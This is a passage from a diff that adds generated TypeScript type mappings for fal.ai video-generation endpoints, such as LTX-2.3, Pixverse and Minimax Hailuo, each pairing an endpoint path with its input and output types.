OutputFalAiLightxRecamera + } + 'fal-ai/lightx/relight': { + /** + * @description Relighting-only request (minimal schema). + * @type object + */ + input: InputFalAiLightxRelight + output: OutputFalAiLightxRelight + } + 'fal-ai/live-portrait': { + input: InputFalAiLivePortrait + output: OutputFalAiLivePortrait + } + 'fal-ai/longcat-single-avatar/audio-to-video': { + /** + * @description Request model for audio-to-video generation. + * @type object + */ + input: InputFalAiLongcatSingleAvatarAudioToVideo + /** + * @description Response model for audio-to-video generation (no reference image). + * @type object + */ + output: OutputFalAiLongcatSingleAvatarAudioToVideo + } + 'fal-ai/longcat-single-avatar/image-audio-to-video': { + /** + * @description Request model for image+audio to video generation. + * @type object + */ + input: InputFalAiLongcatSingleAvatarImageAudioToVideo + /** + * @description Response model for image+audio to video generation. + * @type object + */ + output: OutputFalAiLongcatSingleAvatarImageAudioToVideo + } + 'fal-ai/longcat-video/distilled/image-to-video/480p': { + input: InputFalAiLongcatVideoDistilledImageToVideo480P + output: OutputFalAiLongcatVideoDistilledImageToVideo480P + } + 'fal-ai/longcat-video/distilled/image-to-video/720p': { + input: InputFalAiLongcatVideoDistilledImageToVideo720P + output: OutputFalAiLongcatVideoDistilledImageToVideo720P + } + 'fal-ai/longcat-video/distilled/text-to-video/480p': { + input: InputFalAiLongcatVideoDistilledTextToVideo480P + output: OutputFalAiLongcatVideoDistilledTextToVideo480P + } + 'fal-ai/longcat-video/distilled/text-to-video/720p': { + input: InputFalAiLongcatVideoDistilledTextToVideo720P + output: OutputFalAiLongcatVideoDistilledTextToVideo720P + } + 'fal-ai/longcat-video/image-to-video/480p': { + input: InputFalAiLongcatVideoImageToVideo480P + output: OutputFalAiLongcatVideoImageToVideo480P + } + 'fal-ai/longcat-video/image-to-video/720p': { + input: InputFalAiLongcatVideoImageToVideo720P + output: OutputFalAiLongcatVideoImageToVideo720P + } + 'fal-ai/longcat-video/text-to-video/480p': { + input: InputFalAiLongcatVideoTextToVideo480P + output: OutputFalAiLongcatVideoTextToVideo480P + } + 'fal-ai/longcat-video/text-to-video/720p': { + input: InputFalAiLongcatVideoTextToVideo720P + output: OutputFalAiLongcatVideoTextToVideo720P + } + 'fal-ai/ltx-2.3-22b/audio-to-video': { + input: InputFalAiLtx2322BAudioToVideo + output: OutputFalAiLtx2322BAudioToVideo + } + 'fal-ai/ltx-2.3-22b/audio-to-video/lora': { + input: InputFalAiLtx2322BAudioToVideoLora + output: OutputFalAiLtx2322BAudioToVideoLora + } + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video': { + input: InputFalAiLtx2322BDistilledAudioToVideo + output: OutputFalAiLtx2322BDistilledAudioToVideo + } + 'fal-ai/ltx-2.3-22b/distilled/audio-to-video/lora': { + input: InputFalAiLtx2322BDistilledAudioToVideoLora + output: OutputFalAiLtx2322BDistilledAudioToVideoLora + } + 'fal-ai/ltx-2.3-22b/distilled/image-to-video': { + input: InputFalAiLtx2322BDistilledImageToVideo + output: OutputFalAiLtx2322BDistilledImageToVideo + } + 'fal-ai/ltx-2.3-22b/distilled/image-to-video/lora': { + input: InputFalAiLtx2322BDistilledImageToVideoLora + output: OutputFalAiLtx2322BDistilledImageToVideoLora + } + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video': { + input: InputFalAiLtx2322BDistilledReferenceVideoToVideo + output: OutputFalAiLtx2322BDistilledReferenceVideoToVideo + } + 'fal-ai/ltx-2.3-22b/distilled/reference-video-to-video/lora': { + input: InputFalAiLtx2322BDistilledReferenceVideoToVideoLora + output: OutputFalAiLtx2322BDistilledReferenceVideoToVideoLora + } + 'fal-ai/ltx-2.3-22b/distilled/text-to-video': { + input: InputFalAiLtx2322BDistilledTextToVideo + output: OutputFalAiLtx2322BDistilledTextToVideo + } + 'fal-ai/ltx-2.3-22b/distilled/text-to-video/lora': { + input: InputFalAiLtx2322BDistilledTextToVideoLora + output: OutputFalAiLtx2322BDistilledTextToVideoLora + } + 'fal-ai/ltx-2.3-22b/distilled/video-to-video': { + input: InputFalAiLtx2322BDistilledVideoToVideo + output: OutputFalAiLtx2322BDistilledVideoToVideo + } + 'fal-ai/ltx-2.3-22b/distilled/video-to-video/lora': { + input: InputFalAiLtx2322BDistilledVideoToVideoLora + output: OutputFalAiLtx2322BDistilledVideoToVideoLora + } + 'fal-ai/ltx-2.3-22b/extend-video': { + input: InputFalAiLtx2322BExtendVideo + output: OutputFalAiLtx2322BExtendVideo + } + 'fal-ai/ltx-2.3-22b/extend-video/lora': { + input: InputFalAiLtx2322BExtendVideoLora + output: OutputFalAiLtx2322BExtendVideoLora + } + 'fal-ai/ltx-2.3-22b/image-to-video': { + input: InputFalAiLtx2322BImageToVideo + output: OutputFalAiLtx2322BImageToVideo + } + 'fal-ai/ltx-2.3-22b/image-to-video/lora': { + input: InputFalAiLtx2322BImageToVideoLora + output: OutputFalAiLtx2322BImageToVideoLora + } + 'fal-ai/ltx-2.3-22b/reference-video-to-video': { + input: InputFalAiLtx2322BReferenceVideoToVideo + output: OutputFalAiLtx2322BReferenceVideoToVideo + } + 'fal-ai/ltx-2.3-22b/reference-video-to-video/lora': { + input: InputFalAiLtx2322BReferenceVideoToVideoLora + output: OutputFalAiLtx2322BReferenceVideoToVideoLora + } + 'fal-ai/ltx-2.3-22b/text-to-video': { + input: InputFalAiLtx2322BTextToVideo + output: OutputFalAiLtx2322BTextToVideo + } + 'fal-ai/ltx-2.3-22b/text-to-video/lora': { + input: InputFalAiLtx2322BTextToVideoLora + output: OutputFalAiLtx2322BTextToVideoLora + } + 'fal-ai/ltx-2.3-22b/video-to-video': { + input: InputFalAiLtx2322BVideoToVideo + output: OutputFalAiLtx2322BVideoToVideo + } + 'fal-ai/ltx-2.3-22b/video-to-video/lora': { + input: InputFalAiLtx2322BVideoToVideoLora + output: OutputFalAiLtx2322BVideoToVideoLora + } + 'fal-ai/ltx-2.3-quality/audio-to-video': { + /** + * @description Audio-to-video generation driven by an uploaded audio track. + * @type object + */ + input: InputFalAiLtx23QualityAudioToVideo + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityAudioToVideo + } + 'fal-ai/ltx-2.3-quality/audio-to-video/lora': { + /** + * @description Audio-to-video + user-supplied LoRAs. + * @type object + */ + input: InputFalAiLtx23QualityAudioToVideoLora + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityAudioToVideoLora + } + 'fal-ai/ltx-2.3-quality/clean-plate': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityCleanPlate + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityCleanPlate + } + 'fal-ai/ltx-2.3-quality/colorization': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityColorization + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityColorization + } + 'fal-ai/ltx-2.3-quality/cross-eyed': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityCrossEyed + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityCrossEyed + } + 'fal-ai/ltx-2.3-quality/day-to-night': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityDayToNight + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityDayToNight + } + 'fal-ai/ltx-2.3-quality/deblur': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityDeblur + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityDeblur + } + 'fal-ai/ltx-2.3-quality/decompression': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityDecompression + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityDecompression + } + 'fal-ai/ltx-2.3-quality/extend-video': { + /** + * @description Extend a video forward (continue the ending) or backward (prepend a + * beginning). + * + * The last (forward) or first (backward) ``num_context_frames`` of the + * source video condition the head/tail of a fresh LTX-2.3 generation via the + * official Lightricks guide mechanism, and the generated segment is + * crossfaded onto the source over that overlap. Field surface follows the + * hosted ``ltx-2.3-22b/extend-video`` endpoint. Audio for the extension is + * newly generated from the prompt (the ComfyUI graph has no audio-context + * conditioning); it is crossfaded with the source audio at the seam rather + * than continuing the source soundtrack. + * @type object + */ + input: InputFalAiLtx23QualityExtendVideo + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityExtendVideo + } + 'fal-ai/ltx-2.3-quality/extend-video/lora': { + /** + * @description Extend-video + user-supplied LoRAs (e.g. trained extend adapters). + * @type object + */ + input: InputFalAiLtx23QualityExtendVideoLora + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityExtendVideoLora + } + 'fal-ai/ltx-2.3-quality/hdr': { + /** + * @description HDR generation: lift an SDR input video into HDR. + * @type object + */ + input: InputFalAiLtx23QualityHdr + /** + * @description HDR output with professional EXR frames and a lightweight preview. + * @type object + */ + output: OutputFalAiLtx23QualityHdr + } + 'fal-ai/ltx-2.3-quality/hdr/lora': { + input: InputFalAiLtx23QualityHdrLora + /** + * @description HDR output with professional EXR frames and a lightweight preview. + * @type object + */ + output: OutputFalAiLtx23QualityHdrLora + } + 'fal-ai/ltx-2.3-quality/image-to-video': { + /** + * @description Image-to-video generation conditioned on a starting frame. + * @type object + */ + input: InputFalAiLtx23QualityImageToVideo + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityImageToVideo + } + 'fal-ai/ltx-2.3-quality/image-to-video/lora': { + /** + * @description Image-to-video + user-supplied LoRAs. + * @type object + */ + input: InputFalAiLtx23QualityImageToVideoLora + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityImageToVideoLora + } + 'fal-ai/ltx-2.3-quality/ingredient': { + /** + * @description Image-to-video generation conditioned on an Ingredient reference sheet. + * @type object + */ + input: InputFalAiLtx23QualityIngredient + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityIngredient + } + 'fal-ai/ltx-2.3-quality/inpaint': { + /** + * @description Video inpainting: regenerate masked regions of a source video. + * @type object + */ + input: InputFalAiLtx23QualityInpaint + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityInpaint + } + 'fal-ai/ltx-2.3-quality/inpaint/lora': { + /** + * @description Video inpainting + user-supplied LoRAs. + * @type object + */ + input: InputFalAiLtx23QualityInpaintLora + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityInpaintLora + } + 'fal-ai/ltx-2.3-quality/instant-shave': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityInstantShave + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityInstantShave + } + 'fal-ai/ltx-2.3-quality/outpaint': { + /** + * @description Video outpainting: extend the video spatially to a larger canvas. + * @type object + */ + input: InputFalAiLtx23QualityOutpaint + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityOutpaint + } + 'fal-ai/ltx-2.3-quality/outpaint/lora': { + /** + * @description Video outpainting + user-supplied LoRAs. + * @type object + */ + input: InputFalAiLtx23QualityOutpaintLora + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityOutpaintLora + } + 'fal-ai/ltx-2.3-quality/reference-video-to-video': { + /** + * @description Reference-video-to-video: a control video drives motion/structure. + * @type object + */ + input: InputFalAiLtx23QualityReferenceVideoToVideo + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityReferenceVideoToVideo + } + 'fal-ai/ltx-2.3-quality/reference-video-to-video/lora': { + input: InputFalAiLtx23QualityReferenceVideoToVideoLora + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityReferenceVideoToVideoLora + } + 'fal-ai/ltx-2.3-quality/render-to-real': { + /** + * @description Render-to-real: turn a stylized 3D / CG / game render into photorealistic + * footage. + * + * The source ``video_url`` (the render) is fed straight into the IC-LoRA guide + * and re-rendered as photorealistic live-action through the render-to-real + * adapter; an optional ``image_url`` anchors the FIRST frame (image-to-video), + * matching how the adapter was trained. Output size follows the source video, + * capped to the stable IC-LoRA budget. Runs on the distilled 8-step path; the + * caller writes the ``prompt`` (pre-filled with the ``3DREAL`` trigger). + * Optional prompt expansion enriches it, and ``3DREAL`` is always kept; the + * final prompt used is returned in the output. + * @type object + */ + input: InputFalAiLtx23QualityRenderToReal + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityRenderToReal + } + 'fal-ai/ltx-2.3-quality/text-to-video': { + /** + * @description Text-to-video generation using LTX-2.3, at up to 1920x1080. + * @type object + */ + input: InputFalAiLtx23QualityTextToVideo + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityTextToVideo + } + 'fal-ai/ltx-2.3-quality/text-to-video/lora': { + /** + * @description Text-to-video + user-supplied LoRAs. + * @type object + */ + input: InputFalAiLtx23QualityTextToVideoLora + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityTextToVideoLora + } + 'fal-ai/ltx-2.3-quality/water-simulation': { + /** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ + input: InputFalAiLtx23QualityWaterSimulation + /** + * @description Standard output for every endpoint on this app. + * @type object + */ + output: OutputFalAiLtx23QualityWaterSimulation + } + 'fal-ai/ltx-2.3/audio-to-video': { + input: InputFalAiLtx23AudioToVideo + output: OutputFalAiLtx23AudioToVideo + } + 'fal-ai/ltx-2.3/extend-video': { + input: InputFalAiLtx23ExtendVideo + output: OutputFalAiLtx23ExtendVideo + } + 'fal-ai/ltx-2.3/image-to-video': { + input: InputFalAiLtx23ImageToVideo + output: OutputFalAiLtx23ImageToVideo + } + 'fal-ai/ltx-2.3/image-to-video/fast': { + input: InputFalAiLtx23ImageToVideoFast + output: OutputFalAiLtx23ImageToVideoFast + } + 'fal-ai/ltx-2.3/reframe': { + input: InputFalAiLtx23Reframe + output: OutputFalAiLtx23Reframe + } + 'fal-ai/ltx-2.3/retake-video': { + input: InputFalAiLtx23RetakeVideo + output: OutputFalAiLtx23RetakeVideo + } + 'fal-ai/ltx-2.3/text-to-video': { + input: InputFalAiLtx23TextToVideo + output: OutputFalAiLtx23TextToVideo + } + 'fal-ai/ltx-2.3/text-to-video/fast': { + input: InputFalAiLtx23TextToVideoFast + output: OutputFalAiLtx23TextToVideoFast + } + 'fal-ai/ltx-video': { + input: InputFalAiLtxVideo + output: OutputFalAiLtxVideo + } + 'fal-ai/ltx-video-13b-distilled': { + /** + * @description Distilled model input + * @type object + */ + input: InputFalAiLtxVideo13BDistilled + output: OutputFalAiLtxVideo13BDistilled + } + 'fal-ai/ltx-video-13b-distilled/extend': { + input: InputFalAiLtxVideo13BDistilledExtend + output: OutputFalAiLtxVideo13BDistilledExtend + } + 'fal-ai/ltx-video-13b-distilled/image-to-video': { + input: InputFalAiLtxVideo13BDistilledImageToVideo + output: OutputFalAiLtxVideo13BDistilledImageToVideo + } + 'fal-ai/ltx-video-13b-distilled/multiconditioning': { + input: InputFalAiLtxVideo13BDistilledMulticonditioning + output: OutputFalAiLtxVideo13BDistilledMulticonditioning + } + 'fal-ai/ltx-video/image-to-video': { + input: InputFalAiLtxVideoImageToVideo + output: OutputFalAiLtxVideoImageToVideo + } + 'fal-ai/ltxv-13b-098-distilled': { + /** + * @description Distilled model input + * @type object + */ + input: InputFalAiLtxv13B098Distilled + output: OutputFalAiLtxv13B098Distilled + } + 'fal-ai/ltxv-13b-098-distilled/extend': { + input: InputFalAiLtxv13B098DistilledExtend + output: OutputFalAiLtxv13B098DistilledExtend + } + 'fal-ai/ltxv-13b-098-distilled/image-to-video': { + input: InputFalAiLtxv13B098DistilledImageToVideo + output: OutputFalAiLtxv13B098DistilledImageToVideo + } + 'fal-ai/ltxv-13b-098-distilled/multiconditioning': { + input: InputFalAiLtxv13B098DistilledMulticonditioning + output: OutputFalAiLtxv13B098DistilledMulticonditioning + } + 'fal-ai/magi-distilled': { + input: InputFalAiMagiDistilled + output: OutputFalAiMagiDistilled + } + 'fal-ai/magi-distilled/extend-video': { + input: InputFalAiMagiDistilledExtendVideo + output: OutputFalAiMagiDistilledExtendVideo + } + 'fal-ai/magi-distilled/image-to-video': { + input: InputFalAiMagiDistilledImageToVideo + output: OutputFalAiMagiDistilledImageToVideo + } + 'fal-ai/minimax/hailuo-02-fast/image-to-video': { + input: InputFalAiMinimaxHailuo02FastImageToVideo + output: OutputFalAiMinimaxHailuo02FastImageToVideo + } + 'fal-ai/minimax/hailuo-02/pro/image-to-video': { + input: InputFalAiMinimaxHailuo02ProImageToVideo + output: OutputFalAiMinimaxHailuo02ProImageToVideo + } + 'fal-ai/minimax/hailuo-02/pro/text-to-video': { + input: InputFalAiMinimaxHailuo02ProTextToVideo + output: OutputFalAiMinimaxHailuo02ProTextToVideo + } + 'fal-ai/minimax/hailuo-02/standard/image-to-video': { + input: InputFalAiMinimaxHailuo02StandardImageToVideo + output: OutputFalAiMinimaxHailuo02StandardImageToVideo + } + 'fal-ai/minimax/hailuo-02/standard/text-to-video': { + input: InputFalAiMinimaxHailuo02StandardTextToVideo + output: OutputFalAiMinimaxHailuo02StandardTextToVideo + } + 'fal-ai/minimax/hailuo-2.3-fast/pro/image-to-video': { + input: InputFalAiMinimaxHailuo23FastProImageToVideo + output: OutputFalAiMinimaxHailuo23FastProImageToVideo + } + 'fal-ai/minimax/hailuo-2.3-fast/standard/image-to-video': { + input: InputFalAiMinimaxHailuo23FastStandardImageToVideo + output: OutputFalAiMinimaxHailuo23FastStandardImageToVideo + } + 'fal-ai/minimax/hailuo-2.3/pro/image-to-video': { + input: InputFalAiMinimaxHailuo23ProImageToVideo + output: OutputFalAiMinimaxHailuo23ProImageToVideo + } + 'fal-ai/minimax/hailuo-2.3/pro/text-to-video': { + input: InputFalAiMinimaxHailuo23ProTextToVideo + output: OutputFalAiMinimaxHailuo23ProTextToVideo + } + 'fal-ai/minimax/hailuo-2.3/standard/image-to-video': { + input: InputFalAiMinimaxHailuo23StandardImageToVideo + output: OutputFalAiMinimaxHailuo23StandardImageToVideo + } + 'fal-ai/minimax/hailuo-2.3/standard/text-to-video': { + input: InputFalAiMinimaxHailuo23StandardTextToVideo + output: OutputFalAiMinimaxHailuo23StandardTextToVideo + } + 'fal-ai/minimax/video-01': { + input: InputFalAiMinimaxVideo01 + output: OutputFalAiMinimaxVideo01 + } + 'fal-ai/minimax/video-01-director': { + input: InputFalAiMinimaxVideo01Director + output: OutputFalAiMinimaxVideo01Director + } + 'fal-ai/minimax/video-01-director/image-to-video': { + input: InputFalAiMinimaxVideo01DirectorImageToVideo + output: OutputFalAiMinimaxVideo01DirectorImageToVideo + } + 'fal-ai/minimax/video-01-live': { + input: InputFalAiMinimaxVideo01Live + output: OutputFalAiMinimaxVideo01Live + } + 'fal-ai/minimax/video-01-live/image-to-video': { + input: InputFalAiMinimaxVideo01LiveImageToVideo + output: OutputFalAiMinimaxVideo01LiveImageToVideo + } + 'fal-ai/minimax/video-01-subject-reference': { + input: InputFalAiMinimaxVideo01SubjectReference + output: OutputFalAiMinimaxVideo01SubjectReference + } + 'fal-ai/minimax/video-01/image-to-video': { + input: InputFalAiMinimaxVideo01ImageToVideo + output: OutputFalAiMinimaxVideo01ImageToVideo + } + 'fal-ai/mmaudio-v2': { + input: InputFalAiMmaudioV2 + output: OutputFalAiMmaudioV2 + } + 'fal-ai/motion-to-code/glsl': { + input: InputFalAiMotionToCodeGlsl + output: OutputFalAiMotionToCodeGlsl + } + 'fal-ai/motion-to-code/gsap': { + input: InputFalAiMotionToCodeGsap + output: OutputFalAiMotionToCodeGsap + } + 'fal-ai/one-to-all-animation/1.3b': { + input: InputFalAiOneToAllAnimation13B + output: OutputFalAiOneToAllAnimation13B + } + 'fal-ai/one-to-all-animation/14b': { + input: InputFalAiOneToAllAnimation14B + output: OutputFalAiOneToAllAnimation14B + } + 'fal-ai/ovi': { + input: InputFalAiOvi + output: OutputFalAiOvi + } + 'fal-ai/ovi/image-to-video': { + input: InputFalAiOviImageToVideo + output: OutputFalAiOviImageToVideo + } + 'fal-ai/pixverse/c1/image-to-video': { + input: InputFalAiPixverseC1ImageToVideo + output: OutputFalAiPixverseC1ImageToVideo + } + 'fal-ai/pixverse/c1/reference-to-video': { + input: InputFalAiPixverseC1ReferenceToVideo + output: OutputFalAiPixverseC1ReferenceToVideo + } + 'fal-ai/pixverse/c1/text-to-video': { + input: InputFalAiPixverseC1TextToVideo + output: OutputFalAiPixverseC1TextToVideo + } + 'fal-ai/pixverse/c1/transition': { + input: InputFalAiPixverseC1Transition + output: OutputFalAiPixverseC1Transition + } + 'fal-ai/pixverse/extend': { + input: InputFalAiPixverseExtend + output: OutputFalAiPixverseExtend + } + 'fal-ai/pixverse/extend/fast': { + input: InputFalAiPixverseExtendFast + output: OutputFalAiPixverseExtendFast + } + 'fal-ai/pixverse/lipsync': { + input: InputFalAiPixverseLipsync + output: OutputFalAiPixverseLipsync + } + 'fal-ai/pixverse/sound-effects': { + input: InputFalAiPixverseSoundEffects + output: OutputFalAiPixverseSoundEffects + } + 'fal-ai/pixverse/swap': { + input: InputFalAiPixverseSwap + output: OutputFalAiPixverseSwap + } + 'fal-ai/pixverse/v3.5/effects': { + input: InputFalAiPixverseV35Effects + output: OutputFalAiPixverseV35Effects + } + 'fal-ai/pixverse/v3.5/image-to-video': { + input: InputFalAiPixverseV35ImageToVideo + output: OutputFalAiPixverseV35ImageToVideo + } + 'fal-ai/pixverse/v3.5/image-to-video/fast': { + input: InputFalAiPixverseV35ImageToVideoFast + output: OutputFalAiPixverseV35ImageToVideoFast + } + 'fal-ai/pixverse/v3.5/text-to-video': { + input: InputFalAiPixverseV35TextToVideo + output: OutputFalAiPixverseV35TextToVideo + } + 'fal-ai/pixverse/v3.5/text-to-video/fast': { + input: InputFalAiPixverseV35TextToVideoFast + output: OutputFalAiPixverseV35TextToVideoFast + } + 'fal-ai/pixverse/v3.5/transition': { + input: InputFalAiPixverseV35Transition + output: OutputFalAiPixverseV35Transition + } + 'fal-ai/pixverse/v4.5/effects': { + input: InputFalAiPixverseV45Effects + output: OutputFalAiPixverseV45Effects + } + 'fal-ai/pixverse/v4.5/image-to-video': { + input: InputFalAiPixverseV45ImageToVideo + output: OutputFalAiPixverseV45ImageToVideo + } + 'fal-ai/pixverse/v4.5/image-to-video/fast': { + input: InputFalAiPixverseV45ImageToVideoFast + output: OutputFalAiPixverseV45ImageToVideoFast + } + 'fal-ai/pixverse/v4.5/text-to-video': { + input: InputFalAiPixverseV45TextToVideo + output: OutputFalAiPixverseV45TextToVideo + } + 'fal-ai/pixverse/v4.5/text-to-video/fast': { + input: InputFalAiPixverseV45TextToVideoFast + output: OutputFalAiPixverseV45TextToVideoFast + } + 'fal-ai/pixverse/v4.5/transition': { + input: InputFalAiPixverseV45Transition + output: OutputFalAiPixverseV45Transition + } + 'fal-ai/pixverse/v4/effects': { + input: InputFalAiPixverseV4Effects + output: OutputFalAiPixverseV4Effects + } + 'fal-ai/pixverse/v4/image-to-video': { + input: InputFalAiPixverseV4ImageToVideo + output: OutputFalAiPixverseV4ImageToVideo + } + 'fal-ai/pixverse/v4/image-to-video/fast': { + input: InputFalAiPixverseV4ImageToVideoFast + output: OutputFalAiPixverseV4ImageToVideoFast + } + 'fal-ai/pixverse/v4/text-to-video': { + input: InputFalAiPixverseV4TextToVideo + output: OutputFalAiPixverseV4TextToVideo + } + 'fal-ai/pixverse/v4/text-to-video/fast': { + input: InputFalAiPixverseV4TextToVideoFast + output: OutputFalAiPixverseV4TextToVideoFast + } + 'fal-ai/pixverse/v5.5/effects': { + input: InputFalAiPixverseV55Effects + output: OutputFalAiPixverseV55Effects + } + 'fal-ai/pixverse/v5.5/image-to-video': { + input: InputFalAiPixverseV55ImageToVideo + output: OutputFalAiPixverseV55ImageToVideo + } + 'fal-ai/pixverse/v5.5/text-to-video': { + input: InputFalAiPixverseV55TextToVideo + output: OutputFalAiPixverseV55TextToVideo + } + 'fal-ai/pixverse/v5.5/transition': { + input: InputFalAiPixverseV55Transition + output: OutputFalAiPixverseV55Transition + } + 'fal-ai/pixverse/v5.6/image-to-video': { + input: InputFalAiPixverseV56ImageToVideo + output: OutputFalAiPixverseV56ImageToVideo + } + 'fal-ai/pixverse/v5.6/text-to-video': { + input: InputFalAiPixverseV56TextToVideo + output: OutputFalAiPixverseV56TextToVideo + } + 'fal-ai/pixverse/v5.6/transition': { + input: InputFalAiPixverseV56Transition + output: OutputFalAiPixverseV56Transition + } + 'fal-ai/pixverse/v5/effects': { + input: InputFalAiPixverseV5Effects + output: OutputFalAiPixverseV5Effects + } + 'fal-ai/pixverse/v5/image-to-video': { + input: InputFalAiPixverseV5ImageToVideo + output: OutputFalAiPixverseV5ImageToVideo + } + 'fal-ai/pixverse/v5/text-to-video': { + input: InputFalAiPixverseV5TextToVideo + output: OutputFalAiPixverseV5TextToVideo + } + 'fal-ai/pixverse/v5/transition': { + input: InputFalAiPixverseV5Transition + output: OutputFalAiPixverseV5Transition + } + 'fal-ai/pixverse/v6/extend': { + input: InputFalAiPixverseV6Extend + output: OutputFalAiPixverseV6Extend + } + 'fal-ai/pixverse/v6/image-to-video': { + input: InputFalAiPixverseV6ImageToVideo + output: OutputFalAiPixverseV6ImageToVideo + } + 'fal-ai/pixverse/v6/text-to-video': { + input: InputFalAiPixverseV6TextToVideo + output: OutputFalAiPixverseV6TextToVideo + } + 'fal-ai/pixverse/v6/transition': { + input: InputFalAiPixverseV6Transition + output: OutputFalAiPixverseV6Transition + } + 'fal-ai/rife/video': { + input: InputFalAiRifeVideo + output: OutputFalAiRifeVideo + } + 'fal-ai/sadtalker': { + input: InputFalAiSadtalker + output: OutputFalAiSadtalker + } + 'fal-ai/sadtalker/reference': { + input: InputFalAiSadtalkerReference + output: OutputFalAiSadtalkerReference + } + 'fal-ai/sam-3-1/video': { + input: InputFalAiSam31Video + output: OutputFalAiSam31Video + } + 'fal-ai/sam-3-1/video-rle': { + input: 